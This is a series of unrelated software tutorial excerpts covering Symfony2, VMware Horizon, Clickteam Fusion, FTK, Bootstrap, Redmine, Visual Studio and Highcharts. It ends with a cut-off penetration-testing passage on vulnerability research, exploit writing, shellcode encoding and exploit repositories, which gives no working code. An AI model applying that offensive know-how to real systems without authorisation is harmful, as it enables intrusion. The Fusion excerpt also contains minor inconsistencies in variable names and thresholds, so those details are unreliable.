simpler now and is as follows: $boundaries = $this->get('user_locator')->getUserGeoBoundaries(); // Create our database query $em = $this->getDoctrine()->getManager(); $qb = $em->createQueryBuilder(); $qb->select('e')     ->from('KhepinBookBundle:Meetup', 'e')     ->where('e.latitude < :lat_max')     ->andWhere('e.latitude > :lat_min')     ->andWhere('e.longitude < :long_max')     ->andWhere('e.longitude > :long_min')     ->setParameters($boundaries); // Retrieve interesting meetups $meetups = $qb->getQuery()->execute(); return ['meetups' => $meetups]; The longest part here is the doctrine query, which we could easily put on the repository class to further simplify our controller. As we just saw, defining and creating services in Symfony2 is fairly easy and inexpensive. We created our own UserLocator class, made it a service, and saw that it can depend on our other services such as @geocoder service. We are not finished with services or the DIC as they are the underlying part of almost everything related to extending Symfony2. Summary In this article, we saw the importance of services and also had a look at the geolocation service. We created a class, made it a service, and saw how it can depend on our other services. Resources for Article: Further resources on this subject: Developing an Application in Symfony 1.3 (Part 1) [Article] Developing an Application in Symfony 1.3 (Part 2) [Article] User Interaction and Email Automation in Symfony 1.3: Part1 [Article]

(For more resources related to this topic, see here.) In this article, we will cover the following key subjects: Horizon Workspace Architecture Overview Designing a solution Sizing guidelines vApp deployment Step-by-step configuration Install Certificates Setting up Kerberos Single Sign-On (SSO) Reading this article will provide you with an introduction to the solution, and also provides you with useful reference points throughout the book that will help you install, configure, and manage a Horizon Workspace deployment. A few things are out of scope for this article, such as setting up vSphere, configuring HA, and using certificates. We will assume that the core infrastructure is already in place. We start by looking at the solution architecture and then how to size a deployment, based on best practice, and suitable to meet the requirements of your end users. Next we will cover the preparation steps in vCenter and then deploy the Horizon Workspace vApp. There are then two steps to installation and configuration. First we will guide you through the initial command-line-based setup and then finally the web-based Setup Wizard. Each section is described in easy to follow steps, and shown in detail using actual screenshots of our lab deployment. So let's get started with the architecture overview. The Horizon Workspace architecture The following diagram shows a more detailed view of how the architecture fits together: The Horizon Workspace sizing guide We have already discussed that Horizon Workspace is made up of five virtual appliances. However, for production environments, you will need to deploy multiple instances to provide for high availability, offer load balancing, and support the number of users that you need in your environment. For a Proof of Concept (POC) or pilot deployment, this is of less importance. Sizing the Horizon Workspace virtual appliances The following diagram shows the maximum number of users that each appliance can accommodate. Using these maximum values, you can calculate the number of appliances that you need to deploy. For example, if you had 6,000 users in your environment, you would need to deploy a single connector-va appliance, three gateway-va appliances, one service-va appliance, seven data-va appliances, and a single configurator-va appliance. Please note that data-va should be sized using N+1. The first data-va appliance should never contain any user data. For high availability, you may want to use two connector-va appliances and two service-va appliances. Sizing for Preview services If you plan to use a Microsoft Preview Server, this needs to be sized based on the requirements shown in the following diagram: If we use our previous example of 6,000 users, then to use Microsoft Preview, you would require a total of six Microsoft Preview Servers. The Horizon Workspace database You have a few options for the database. For a POC or pilot environment, you can use the internal database functionality. In a production deployment, you would use an external database option, using either VMware PostgreSQL or Oracle 11g. This allows you to have a highly available and protected database. The VMware recommendation is PostgreSQL, and the following diagram details the sizing information for the Horizon Workspace database: External access and load balancing considerations In a production environment, high availability, redundancy, and external access is a core requirement. This needs planning and configuration. For a POC or pilot deployment, this is usually not of high importance but should be something to be aware of. To achieve high availability and redundancy, a load balancer is required in front of the gateway-va and the connector-va appliances that are used for Kerberos (Windows authentication). If external access is required, then typically you will also need a load balancer in the Demilitarized Zone (DMZ). This is detailed in the diagram at the beginning of this article. It is not supported to place gateway-va appliances in the DMZ. For more detailed information about load balancing, please visit the following guide: https://communities.vmware.com/docs/DOC-24577 Summary In this article, we had an overview of the Horizon Workspace architecture. We made sure that all the prerequisites are in place before we deploy the Horizon Workspace vApp. This article covers the basic sizing, configuration, and the installation of Horizon Workspace 1.5. Resources for Article: Further resources on this subject: An Introduction to VMware Horizon Mirage [Article] Windows 8 with VMware View [Article] Cloning and Snapshots in VMware Workstation [Article]

(For more resources related to this topic, see here.) We want to start a new little game prototype. Let's create a little top-down shooter. For that reason, create a new application. For now, let's choose one of my favorite resolutions for retro games: 480 x 320. Here are the steps to create a basic top-down character: Click on Application in the workspace toolbar, choose Window in the properties, and select 480 x 320. You'll be asked to apply these settings. Your application's resolution has been set. Now set the size of your frame to 800 x 600 to create more space for your game objects. Create an active object, center hotspot, and action point. Set the movement of your object to Eight Directions, and change the properties to your desired values. You have just created a basic top-down character that you can steer with the arrow keys (or later with the touch joystick if you want to create a mobile game). Of course, you can also visit the Clickteam forum and search for a 360 degree movement example to get a more advanced movement system. In our case, the built-in eight-directions movement will do a great job though. Create one more Active object. This will be your bullet. Change the graphics if you want to. Let's create a simple shooting event: Repeat while "button 1" is pressed – Launch bullet in the direction "player" with a speed of 100 Too many bullets are created while pressing button 1 now. You can trigger the bullets every 10 seconds with conditions from the timer. Just add the following condition to the existing button condition: Every 10 seconds This event will create one bullet every 10 seconds while button 1 is pressed. One more thing you could do is center the display at your player's position to activate scrolling just like in the platformer example: Enemy movements As a next step, we want to create some basic enemy movements. Remember, this is just a prototype, so we don't really care about graphics. We just want to test different movements and events to get basic knowledge about Fusion. Path movement The simplest method to make your characters move might be on a path. Create an active object (an enemy), and set its movement to Path. Now hit the Edit button and place at least one node for a path. Also activate Reverse at End, and loop the movement in the Path Movement Setup. No matter what game type you are creating, the path movement can be used for a simple platformer enemy as well as for top-down spaceships. Bouncing ball movement The bouncing ball movement can be used for a million situations. The name that gives basic movement though would be another simple motion. Create an active object and set the movement to Bouncing Ball. Change the movement properties to whatever fits your game dynamic. We want our object to bounce whenever it leaves the game area. You will only need one event to trigger this situation. Start a new condition: navigate to Set Position | Test position of "enemy". Hit all the arrows pointing outside the frame area in the pop ( ) up that appears. This will create the condition Enemy leaves the play area. Now select your enemy object and create the action—navigate to Movement | Bounce: Just before your enemy object leaves the game area, it will bounce to a random direction within the frame. It will move forever within your game—until you blow it to pieces of course. Direction detection – a basic AI You can easily modify your bouncing ball enemy to follow your player object wherever it might go and create your first little Artificial Intelligence (AI). That actually sounds pretty cool, doesn't it? Use the bouncing ball movement for a new active object again. Set Speed to a low value such as 8. Go to the event editor and create the condition Always. Select your enemy object to create the action—navigate to Direction | Look in the direction of…— ( ) and select your player object. You should get this event: Always – Look at (0,0) from "player" The following screenshot shows the creation of the preceding event: Your enemy moves with a constant speed of 8 towards the player now! This might be the most simple AI you can create with Fusion. The great thing is it totally works for simple enemies! You can always dig deeper and create a more powerful movement system, but sometimes less is more. Especially when things need to be done quickly, you will be very happy about the built-in movements in Fusion! There are many, many, many different ways to work with the built-in movements in Fusion. There are just as many ways to create AI's for enemies and characters. You will get behind it step by step with every new game project! Alterable values At the moment, you have your frantic shooting player and a screen full of swirling enemy squares. Now we want to let them interact with each other. In the next steps, you will learn how to use alterable values, which are internal counters you can change and make calculations with. In your special case, you will use those values for the health of your enemies, but they can actually be used for pretty much any situation where you need to set values. Some examples are as follows: Reloading the shield of a spaceship Money, gold, or credits of a character Number of bullets for a weapon Health, energy, or life bars The easiest way to describe alterable values is with a simple example. We will give one of your enemies five health points, which is pretty nice of us. Select the enemy with path movement and go to the Values tab in the objects properties. Hit the New button to create Alterable Value A. Double-click on Alterable Value A name it PlayerHealth, and set the value to 5: Naming alterable values is not necessary but is highly recommended. Each object has up to 26 values (from A to Z) by the way. The following screenshot shows the naming of alterable values: Now open the event editor to create the interaction of your bullet and your enemy. You will need a simple event that reduces the alterable value HealthBar by 1 whenever it gets hit by one of your bullets: Collision between "enemy" and "bullet" - Sub 1 from "HealthBar" Additionally, let this condition destroy your bullet. The plan is to destroy the enemy object after it gets hit four times. To do so, test whether the alterable value HealthBar is lower or equal to 0 to destroy the enemy: HealthBar <= 0 – Destroy "enemy" This event will destroy your enemy when the alterable value hits a value lower or equal to 1. This is just one of countless possibilities for alterable values. As you can already see, alterable values will be your best friends from this very day! Interface, counters, and health bars We could talk a million years about good or bad interface design. The way your interface might look is just the beginning. Movement, speed, transparency, position, and size are just a few values you really have to think of with every new game. Some games completely go without an interface, which can create an even more immersive gaming experience. In other words, try to plan your interface precisely before you start to create an energy bar. We will work with the Counter game object to create a basic energy bar. The Counter object stores the numbers in your application and is used for objects such as fuel displays, clocks, speedometers, and health bars. The Counter object can be displayed as an animation, a bar, or a simple number. You can also hide the counter if you want to use it for calculations only. The following is the screenshot of the Counter object: Create a new counter object within your frame. The counter Type in the Properties settings is set to Numbers by default. Change the type to Horizontal bar. This will turn the counter to a small black rectangle. Change the color and size of this bar if you want. Now set the Initial Value to 10, the Minimum Value to 0, and the Maximum Value to 10. This means that the counter will start with a value of 10 when the frame (game) starts. Assuming that the bar represents your player's health, values will be subtracted or added. The value of this counter cannot go lower than 0 or higher than 10, as we have set the minimum and the maximum values! Now take a look at the RunTime Options tab. The option Follow the frame is important for every game. It is deactivated by default. That means that the counter will always stay in the same position no matter where your player character moves to. You can also put the counter (and the whole interface) in to a new layer of course. Open the event editor and create an event that will subtract 1 from the Counter object HealthBar (very similar to your enemy): Collision between "player" and "enemy" - Sub 1 from "HealthBar" Also add a limiting condition to deactivate multiple collisions at one time. You'll find this condition under Special | Limit conditions | Only one action when event loops. The only thing that is left is an event to destroy your object. Just test whether the health counter is lower or equal to 1 to destroy the player object: HealthBar <= 1 – Destroy "player" The following screenshot shows the event created: So, this is basically how you can use the counter object. As you can imagine, there are a lot of other situations where this object comes in very handy. You could, for example, create one more counter and leave it as a number. This could be your ammo counter! Set both Maximum and Initial Value to 20 and the Minimum Value to 0. In the event editor, subtract 1 from the counter whenever your player character fires a bullet. Add the following condition to your existing shooting condition: Counter > 0 Now your player will only shoot bullets when the counter is greater than 0. Of course, you have to add ammo packs to your game now. This is something you can find out on your own. Just use what you have learned so far. Going further Now think of the options you already have! You could add a destroy animation for your player. Let some simple particles bounce when your bullet hits the enemy or an obstacle. Go for some more advanced methods and change the animation of your player to a hurt state when he gets hit by an enemy. Maybe add some new events to your player. The player might be invincible for a while after he gets hurt, for example! Also think of your previous platformer prototype. Create a counter and add 1 every time you destroy one of the red crates! Talking about the red ones: why not set a path movement to the red crates? This would turn them from static boxes to patrolling, evil, explosive crates! Summary Resolutions are something you will think about before you start your next prototype. You created a new game setup to test some more advanced properties. Within this prototype, you also created and placed your first interface and turned it into a basic energy bar for your player. Alterable values will also be very useful from now on. Resources for Article: Further resources on this subject: Getting Started with Fusion Applications [Article] Dynamic Flash Charts - FusionCharts style [Article] Fine Tune the View layer of your Fusion Web Application [Article]

(For more resources related to this topic, see here.) Changing the time zone The correct use of the Time Zone feature is of the utmost importance for computer forensics because it might reflect the wrong MAC time of files contained in the evidence, making a professional use the wrong information in an investigation report. Based on this, you must configure the time zone to reflect the location where the evidence was acquired. For example, if you conducted the acquisition of a computer that was located in Los Angeles, US, and bring the evidence to Sao Paulo, Brazil, where your lab is situated, you should adjust the time zone to Los Angeles so that the MAC time of files can reflect the actual moment of its modification, alteration, or creation. The FTK allows you to make that time zone change at the same time that you add a new evidence to the case. Select the time zone of the evidence where it was seized from the drop-down list in the Time Zone field. This is required to add evidence in the case. Take a look at the following screenshot: You can also change the value of Time Zone after adding the evidence. In the menu toolbar, click on View and then click on Time Zone Display. Mounting compound files To locate important information during your investigation, you should expand individual compound file types. This lets you see the child files that are contained within a container, such as ZIP or RAR files. You can access this feature from the case manager's new case wizard, or from the Add Evidence or Additional Analysis dialogs. The following are some of the compound files that you can mount: E-mail files: PST, NSF, DBX, and MSG Compressed files: ZIP, RAR, GZIP, TAR, BZIP, and 7-ZIP System files: Windows thumbnails, registry, PKCS7, MS Office, and EVT If you don't mount compound files, the child files will not be located in keyword searches or filters. To expand compound files, perform the following steps: Do one of the following: For new cases, click on the Custom button in the New Case Options dialog For existing cases, go to Evidence | Additional Analysis Select Expand Compound Files. Click on Expansion Options…. In the Compound File Expansions Options dialog, select the types of files that you want to mount. Click on OK: File and folder export You may need to export part of the files or folders to help you perform some action outside of the FTK platform, or simply for the evidence presentation. To export files or folders you need to perform the following steps: Select one or more files that you would like to export. Right-click on the selection and select Export. A new dialog will open. You can configure some settings before exporting as follows: File Options: This field has advanced options to export files and folders. You can use the default options for a simple export. Items to Include: This field has the selection of files and folders that you will export. The options can be checked, listed, highlighted, or selected all together. Destination base path: This field has the folder to save the files. Take a look at the following screenshot: Column settings Columns are responsible for presenting the information property or metadata related to evidence data. By default, the FTK presents the most commonly used columns. However, you can add or remove columns to aid you in quickly finding relevant information. To manage columns in FTK, in the File List view, right-click on column bars and select Column Settings…. The number of columns available is huge. You can add or remove the columns that you need by just selecting the type and clicking on the Add button: The FTK has some templates of columns settings. You can access them by clicking on Manage and navigating to Columns | Manage Columns: You can use some ready-made templates, edit them, or create your own.

(For more resources related to this topic, see here.) Why use Bootstrap? Bootstrap contains a top-notch, responsive mobile-first grid, which allows you to implement your design in a breeze; it comes with ready-made styles for typography, navigation, tables, forms, buttons, and more. Bootstrap also includes some jQuery plugins, such as Modal, Dropdown, Tooltip, and Carousel, which come in handy quite often. Today, you can use Bootstrap to throw together quick prototypes or guide the execution of more sophisticated designs and larger engineering efforts. In other words, Bootstrap is a very simple way to promote quick, clean and highly usable applications. – Mark Otto, creator of Bootstrap Even though Bootstrap comes with all these features, none of them actually get in the way of further customization. Bootstrap is very easy to extend, especially if you use LESS instead of traditional CSS. At its core, Bootstrap is just CSS, but it's built with Less, a flexible pre-processor that offers much more power and flexibility than regular CSS. With Less, we gain a range of features like nested declarations, variables, mixins, operations, and color functions. – Mark Otto, creator of Bootstrap Next, you will learn about the advantages and disadvantages of using Bootstrap. Bootstrap pros and cons As with many things, using Bootstrap too has its pros and cons. Let us list some important things that you will need to know when you decide whether or not to use Bootstrap in your project. The pros are as follows: Cross-browser support: Bootstrap works on all the latest desktop and mobile browsers. While older browsers may display Bootstrap differently with respect to styles, it is still fully functional in legacy browsers such as Internet Explorer 8. Easy to customize: Bootstrap is easy to customize, especially with the use of LESS. You can also leave out parts that you do not need, that is, you can use only its grid and leave out all the components, or you can leave out the grid and use its components. Encourages using LESS : Bootstrap is written in LESS, a dynamic style sheet language that is compiled into CSS, which gives it a lot of flexibility. You can take advantage of this if you use LESS to write your styles. Supports useful jQuery plugins: Bootstrap comes with many useful jQuery plugins that can come handy in many situations. The quality of the plugins is not the best, and they usually work best when you do not customize them at all. Many custom jQuery plugins available: There is a wide range of jQuery plugins that extend Bootstrap, for example, X-editable, Wysihtml5, and the jQuery File Upload. Mobile-first: Bootstrap has been mobile-first since Version 3.0. This means that the grid starts out stacked and is floated using media queries when the screen width grows. The cons are as follows: jQuery plugins are hard to customize : The jQuery plugins that come with Bootstrap are often hard to customize, and many argue that they are not written using best practices, so it can be challenging to work with the source code at times. Usually, the plugins work in the most common cases but they come up short when you try to customize them a bit. Many Bootstrap sites end up looking alike: It is unfortunate that many sites that are built with Bootstrap look exactly the same, but you can avoid this by using a custom theme or creating your own theme. Creating your first Bootstrap project Now that you know when it is suitable to use Bootstrap, you are ready to start your first Bootstrap project. Perform the following steps to get started: Create a new folder for your Bootstrap project inside your document root. You can call it bootstrap-app. Pick up the latest version of Bootstrap from http://getbootstrap.com and unpack it into your project directory. Create a new HTML document, add the following contents, and save it in your project directory as index.html in the following manner: <!DOCTYPE html> <html> <head> <title>Hello from Bootstrap</title> <!-- Ensure proper rendering and touch zooming on mobile devices --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="css/bootstrap.min.css" rel="stylesheet"> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src ="https://oss.maxcdn.com/libs/html5shiv/3.7.0/ html5shiv.js"> </script> <script src ="https://oss.maxcdn.com/libs/respond.js/1.3.0/ respond.min.js"> </script> <![endif]--> </head> <body> <h1>Hello, world!</h1> </body> </html> You can omit html5shiv.js and respond.js if you don't wish to support older versions of Internet Explorer. Let us look at the following reasons why we included all those CSS and JavaScript files: bootstrap.min.css: It is the minified version of the Bootstrap CSS styles html5shiv.js: It adds HTML5 support to older browsers respond.min.js: It adds media query support to older browsers Navigate to your project directory using your favorite web browser; you should see your project in action as shown in the following screenshot. Not too impressive, but do not worry, you will soon add more to it. For more information on how to get started with Bootstrap, refer to the Getting started page on the official site at http://getbootstrap.com/getting-started/. Summary In this article, you learned about the pros and cons of Bootstrap, as well as how to decide whether or not to use Bootstrap in a project. You also learned how to create a very simple Bootstrap project. Resources for Article: Further resources on this subject: Bootstrap 3.0 is Mobile First [Article] Downloading and setting up Bootstrap [Article] Top Features You Need to Know About – Responsive Web Design [Article]

(For more resources related to this topic, see here.) Summarizing Redmine's permission system As we'll be extending Redmine's access control layer with our own custom permissions, our first course of action should be to better understand this system. Redmine doesn't apply permissions directly to users; instead, it encapsulates permissions within roles. These roles in turn can have one to many users associated with them and are used to control access to content areas within projects, modules, and plugins. The following screenshot shows the Administration | Roles and permissions view where new roles can be created, or existing roles can be modified: Each role contains a subset of the available permissions, which are further grouped by project module, which can be toggled on or off. The following screenshot shows the Manager role that is available as a default in Redmine along with the available Project Permissions all toggled: As Redmine is a project-oriented system, a project association must be made in order for the role to be applied. This is done by a project administrator or any user assigned to a role with the :manage_members permission in Settings | Members for the project window. Permissions can be applied directly to users via roles, or they can be applied to groups of users. Groups are configured by a Redmine system administrator by navigating to Administration | Groups . Declaring custom permissions As we know already , permissions are registered in our plugin's init.rb file as part of the Redmine::Plugin.register block. While registering a new permission, we populate a hash, which takes a controller as key, and an array of actions as the value. The syntax for this command is as follows: permission(name, actions, options = {}) The permission helper that is available to us (plugin authors) is actually just a wrapper around Redmine::AccessControl#map, which is located in /path/to/redmine/lib/redmine/access_control.rb. Before registering our permissions, we need to understand the two scopes of permissions that are available: global and project module. Global permissions are a bit deceptive as they aren't actually "global" in nature. In fact, they belong to the Project category and are essentially just a sum of a user's permissions across all projects for which they are members. Note that global permissions can mean different things depending on what context they're being used in: Permissions that are not tied to (defined within) a project module (definition) Permissions a user has for at least one project within the entire Redmine system (used for several cross-project features) In order to demonstrate, let's register the following permission: permission :access_global_knowledgebase, { :knowledgebase => :index } If we were to check the roles editor now by navigating to Administration | Roles and Permissions and selecting any role to edit, this new permission would in fact appear under the Project category. Note that for a user to be able to take advantage of this permission, they would still need to be a member of a project. If a user should only have access to this feature, but not additional projects, a new project should be created that all users can be a member of. Project module permissions are declared almost identically, but are contained within a project_module block. project_module :knowledgebase do permission :view_kb_articles, { :articles => [:index, :show, :tagged], :categories => [:index, :show] } end This block allows the permissions to be encapsulated and is therefore dependent on the project module being enabled in a project's module list before the permissions are applicable. The previous example allows any user with the :view_kb_articles permission applied to be able to access the articles#index, articles#show, articles#tagged, categories#index, and categories#show routes. As permissions target a controller action, we cannot provide more granular access control—for example, restricting access to individual articles—using the built-in permissions system. Editing any role will now contain a new group for the project module :knowledgebase with the single permission we've defined.

(For more resources related to this topic, see here.) Getting ready For this article, you will just need a premium version of VS2013 or you may use VS Express for Windows Desktop. Be sure to run your choice on a machine using a 64-bit edition of Windows. Note that Edit and Continue previously existed for 32-bit code. How to do it… Both features are now supported by C#/VB, but we will be using C# for our examples. The features being demonstrated are compiler-based features, so feel free to use code from one of your own projects if you prefer. To see how Edit and Continue can benefit 64-bit development, perform the following steps: Create a new C# Console Application using the default name. To ensure the demonstration is running with 64-bit code, we need to change the default solution platform. Click on the drop-down arrow next to Any CPU and select Configuration Manager…: When the Configuration Manager dialog opens, we can create a new Project Platform targeting 64-bit code. To do this, click on the drop-down menu for Platform and select <New...>: When <New...> is selected, it will present the New Project Platform dialog box. Select x64 as the new platform type: Once x64 has been selected, you will return to the Configuration Manager. Verify that x64 remains active under Platform and then click on Close to close this dialog. The main IDE window will now indicate that x64 is active: Now, let's add some code to demonstrate the new behavior. Replace the existing code in your blank class file so that it looks like the following listing: class Program { static void Main(string[] args) { int w = 16; int h = 8; Debugging Your .NET Application 156 int area = calcArea(w, h); Console.WriteLine("Area: " + area); } private static int calcArea(int width, int height) { return width / height; } } Let's set some breakpoints so that we are able to inspect during execution. First, add a breakpoint to the Main method's Console line. Add a second breakpoint to the calcArea method's return line. You can do this by either clicking on the left side of the editor window's border or by right-clicking on the line, and selecting Breakpoint | Insert Breakpoint: If you are not sure where to click, use the right-click method and then practice toggling the breakpoint by left-clicking on the breakpoint marker. Feel free to use any method that you find most convenient. Once the two breakpoints are added, Visual Studio will mark their location as shown in the following screenshot (the arrow indicates where you may click to toggle the breakpoint): With the breakpoint marker now set, let's debug the program. Begin debugging by either pressing F5 or clicking on the Start button on the toolbar: Once debugging starts, the program will quickly execute until stopped by the first breakpoint. Let's first take a look at Edit and Continue. Visual Studio will stop at the calcArea method's return line. Astute readers will notice an error (marked by 1 in the following screenshot) present in the calculation as the area value returned should be width * height. Make the correction. Before continuing, note the variables listed in the Autos window (marked by 2 in the following screenshot). If you don't see Autos, it can be made visible by pressing Ctrl + D, A or through Debug | Windows | Autos while debugging. After correcting the area calculation, advance the debugging step by pressing F10 twice. (Alternatively make the advancement by selecting the menu item Debug | Step Over twice). Visual Studio will advance to the declaration for area. Note that you were able to edit your code and continue debugging without restarting. The Autos window will update to display the function's return value, which is 128 (the value for area has not been assigned yet): There's more… Programmers who write C++ already have the ability to see the return values of functions; this just brings .NET developers into the fold. Your development experience won't have to suffer based on the languages chosen for your projects. The Edit and Continue functionality is also available for ASP.NET projects. New projects created in VS2013 will have Edit and Continue enabled by default. Existing projects imported to VS2013 will usually need this to be enabled if it hasn't been already. To do so, right-click on your ASP.NET project in Solution Explorer and select Properties (alternatively, it is also available via Project | <Project Name> Properties…). Navigate to the Web option and scroll to the bottom to check the Enable Edit and Continue checkbox. The following screenshot shows where this option is located on the properties page: Summary In this article, we learned how to use the Edit and Continue feature. Using this feature enables you to make changes to your project without having to immediately recompile your project. This simplifies debugging and enables a bit of exploration. You also saw how the Autos window can display the values of variables as you step through your program’s execution. Resources for Article: Further resources on this subject: Using the Data Pager Control in Visual Studio 2008 [article] Load Testing Using Visual Studio 2008: Part 1 [article] Creating a Simple Report with Visual Studio 2008 [article]

(For more resources related to this topic, see here.) Using NodeJS as a data provider JavaScript has become a formidable language in its own right. Google's work on the V8 JavaScript engine has created something very performant, and has enabled others to develop Node.js, and with it, allow the development of JavaScript on the serverside. This article will take a look at how we can serve data using NodeJS, specifically using a framework known as express. Getting ready We will need to set up a simple project before we can get started: Download and install NodeJS (http://nodejs.org/download/). Create a folder nodejs for our project. Create a file nodejs/package.json and fill it with the following contents: {"name": "highcharts-cookbook-nodejs","description": "An example application for using highchartswith nodejs","version": "0.0.1","private": true,"dependencies": {"express": "3.4.4"}} From within the nodejs folder, install our dependencies locally (that is, within the nodejs folder) using npm (NodeJS package manager): npm install If we wanted to install packages globally, we could have instead done the following: npm install -g Create a folder nodejs/static which will later contain our static assets (for example, a webpage and our JavaScript). Create a file nodejs/app.js which will later contain our express application and data provider. Create a file nodejs/bower.json to list our JavaScript dependencies for the page: {"name": "highcharts-cookbook-chapter-8","dependencies": {"jquery": "^1.9","highcharts": "~3.0"}} Create a file nodejs/.bowerrc to configure where our JavaScript dependencies will be installed: { "directory": "static/js" } How to do it... Let’s begin: Create an example file nodejs/static/index.html for viewing our charts <html> <head> </head> <body> <div id='example'></div> <script src = './js/jquery/jquery.js'></script> <script src = './js/highcharts/highcharts.js'></script> <script type = 'text/javascript'> $(document).ready(function() { var options = { chart: { type: 'bar', events: { load: function () { var self = this; setInterval(function() { $.getJSON('/ajax/series', function(data) { var series = self.series[0]; series.setData(data); }); }, 1000); } } }, title: { text: 'Using AJAX for polling charts' }, series: [{ name: 'AJAX data (series)', data: [] }] }; $('#example').highcharts(options); }); </script> </body> </html> In nodejs/app.js, import the express framework: var express = require('express'); Create a new express application: var app = express(); Tell our application where to serve static files from: var app = express(); app.use(express.static('static')); Create a method to return data: app.use(express.static('static')); app.get('/ajax/series', function(request, response) { var count = 10, results = []; for(var i = 0; i < count; i++) { results.push({ "y": Math.random()*100 }); } response.json(results); }); Listen on port 8888: response.json(results); }); app.listen(8888); Start our application: node app.js View the output on http://localhost:8888/index.html How it works... Most of what we've done in our application is fairly simple: create an express instance, create request methods, and listen on a certain port. With express, we could also process different HTTP verbs like POST or DELETE. We can handle these methods by creating a new request method. In our example, we handled GET requests (that is, app.get) but in general, we can use app.VERB (Where VERB is an HTTP verb). In fact, we can also be more flexible in what our URLs look like: we can use JavaScript regular expressions as well. More information on the express API can be found at http://expressjs.com/api.html. Using Django as a data provider Django is likely one of the more robust python frameworks, and certainly one of the oldest. As such, Django can be used to tackle a variety of different cases, and has a lot of support and extensions available. This recipe will look at how we can leverage Django to provide data for Highcharts. Getting ready Download and install Python 2.7 (http://www.python.org/getit/) Download and install Django (http://www.djangoproject.com/download/) Create a new folder for our project, django. From within the django folder, run the following to create a new project: django-admin.py startproject example Create a file django/bower.json to list our JavaScript dependencies { "name": "highcharts-cookbook-chapter-8", "dependencies": { "jquery": "^1.9", "highcharts": "~3.0" } } Create a file django/.bowerrc to configure where our JavaScript dependencies will be installed. { "directory": "example/static/js" } Create a folder example/templates for any templates we may have. How to do it... To get started, follow the instructions below: Create a folder example/templates, and include a file index.html as follows: {% load staticfiles %} <html> <head> </head> <body> <div class='example' id='example'></div> <script src = '{% static "js/jquery/jquery.js" %}'></script> <script src = '{% static "js/highcharts/highcharts.js" %}'></script> <script type='text/javascript'> $(document).ready(function() { var options = { chart: { type: 'bar', events: { load: function () { var self = this; setInterval(function() { $.getJSON('/ajax/series', function(data) { var series = self.series[0]; series.setData(data); }); }, 1000); } } }, title: { text: 'Using AJAX for polling charts' }, series: [{ name: 'AJAX data (series)', data: [] }] }; $('#example').highcharts(options); }); </script> </body> </html> Edit example/example/settings.py and include the following at the end of the file: STATIC_URL = '/static/' TEMPLATE_DIRS = ( os.path.join(BASE_DIR, 'templates/') ) STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static/'), ) Create a file example/example/views.py and create a handler to show our page: from django.shortcuts import render_to_response def index(request): return render_to_response('index.html') Edit example/example/views.py and create a handler to serve our data: import json from random import randint from django.http import HttpResponse from django.shortcuts import render_to_response def index(request): return render_to_response('index.html') def series(request): results = [] for i in xrange(1, 11): results.append({ 'y': randint(0, 100) }) json_results = json.dumps(results) return HttpResponse(json_results, mimetype='application/json') Edit example/example/urls.py to register our URL handlers: from django.conf.urls import patterns, include, url from django.contrib import admin admin.autodiscover() import views urlpatterns = patterns('', # Examples: # url(r'^$', 'example.views.home', name='home'), # url(r'^blog/', include('blog.urls')), url(r'^admin/', include(admin.site.urls)), url(r'^/?$', views.index, name='index'), url(r'^ajax/series/?$', views.series, name='series'), ) Run the following command from the django folder to start the server: python example/manage.py runserver Observe the page by visiting http://localhost:8000

(For more resources related to this topic, see here.) Vulnerability research Understanding the capabilities of a specific software or hardware product may provide a starting point for investigating vulnerabilities that could exist in that product. Conducting vulnerability research is not easy, neither is it a one-click task. Thus, it requires a strong knowledge base with different factors to carry out security analysis. The following are the factors to carry out security analysis: Programming skills: This is a fundamental factor for ethical hackers. Learning the basic concepts and structures that exist with any programming language should grant the tester with an imperative advantage of finding vulnerabilities. Apart from the basic knowledge of programming languages, you must be prepared to deal with the advanced concepts of processors, system memory, buffers, pointers, data types, registers, and cache. These concepts are implementable in almost any programming language such as C/C++, Python, Perl, and Assembly. To learn the basics of writing an exploit code from a discovered vulnerability, please visit http://www.phreedom.org/presentations/exploit-code-development/. Reverse engineering: This is another wide area for discovering the vulnerabilities that could exist in the electronic device, software, or system by analyzing its functions, structures, and operations. The purpose is to deduce a code from a given system without any prior knowledge of its internal working, to examine it for error conditions, poorly designed functions, and protocols, and to test the boundary conditions. There are several reasons that inspire the practice of reverse engineering skills such as the removal of copyright protection from a software, security auditing, competitive technical intelligence, identification of patent infringement, interoperability, understanding the product workflow, and acquiring the sensitive data. Reverse engineering adds two layers of concept to examine the code of an application: source code auditing and binary auditing. If you have access to the application source code, you can accomplish the security analysis through automated tools or manually study the source in order to extract the conditions where vulnerability can be triggered. On the other hand, binary auditing simplifies the task of reverse engineering where the application exists without any source code. Disassemblers and decompilers are two generic types of tools that may assist the auditor with binary analysis. Disassemblers generate the assembly code from a complied binary program, while decompilers generate a high-level language code from a compiled binary program. However, dealing with either of these tools is quite challenging and requires a careful assessment. Instrumented tools: Instrumented tools such as debuggers, data extractors, fuzzers, profilers, code coverage, flow analyzers, and memory monitors play an important role in the vulnerability discovery process and provide a consistent environment for testing purposes. Explaining each of these tool categories is out of the scope of this book. However, you may find several useful tools already present under Kali Linux. To keep a track of the latest reverse code engineering tools, we strongly recommend that you visit the online library at http://www.woodmann.com/collaborative/tools/index.php/Category:RCE_Tools. Exploitability and payload construction: This is the final step in writing the proof-of-concept (PoC) code for a vulnerable element of an application, which could allow the penetration tester to execute custom commands on the target machine. We apply our knowledge of vulnerable applications from the reverse engineering stage to polish shellcode with an encoding mechanism in order to avoid bad characters that may result in the termination of the exploit process. Depending on the type and classification of vulnerability discovered, it is very significant to follow the specific strategy that may allow you to execute an arbitrary code or command on the target system. As a professional penetration tester, you may always be looking for loopholes that should result in getting a shell access to your target operating system. Thus, we will demonstrate a few scenarios with the Metasploit framework, which will show these tools and techniques. Vulnerability and exploit repositories For many years, a number of vulnerabilities have been reported in the public domain. Some of these were disclosed with the PoC exploit code to prove the feasibility and viability of a vulnerability found in the specific software or application. And, many still remain unaddressed. This competitive era of finding the publicly available exploits and vulnerability information makes it easier for penetration testers to quickly search and retrieve the best available exploit that may suit their target system environment. You can also port one type of exploit to another type (for example, Win32 architecture to Linux architecture) provided that you hold intermediate programming skills and a clear understanding of OS-specific architecture. We have provided a combined set of online repositories that may help you to track down any vulnerability information or its exploit by searching through them. Not every single vulnerability found has been disclosed to the public on the Internet. Some are reported without any PoC exploit code, and some do not even provide detailed vulnerability information. For this reason, consulting more than one online resource is a proven practice among many security auditors. The following is a list of online repositories: Repository name Website URL Bugtraq SecurityFocus 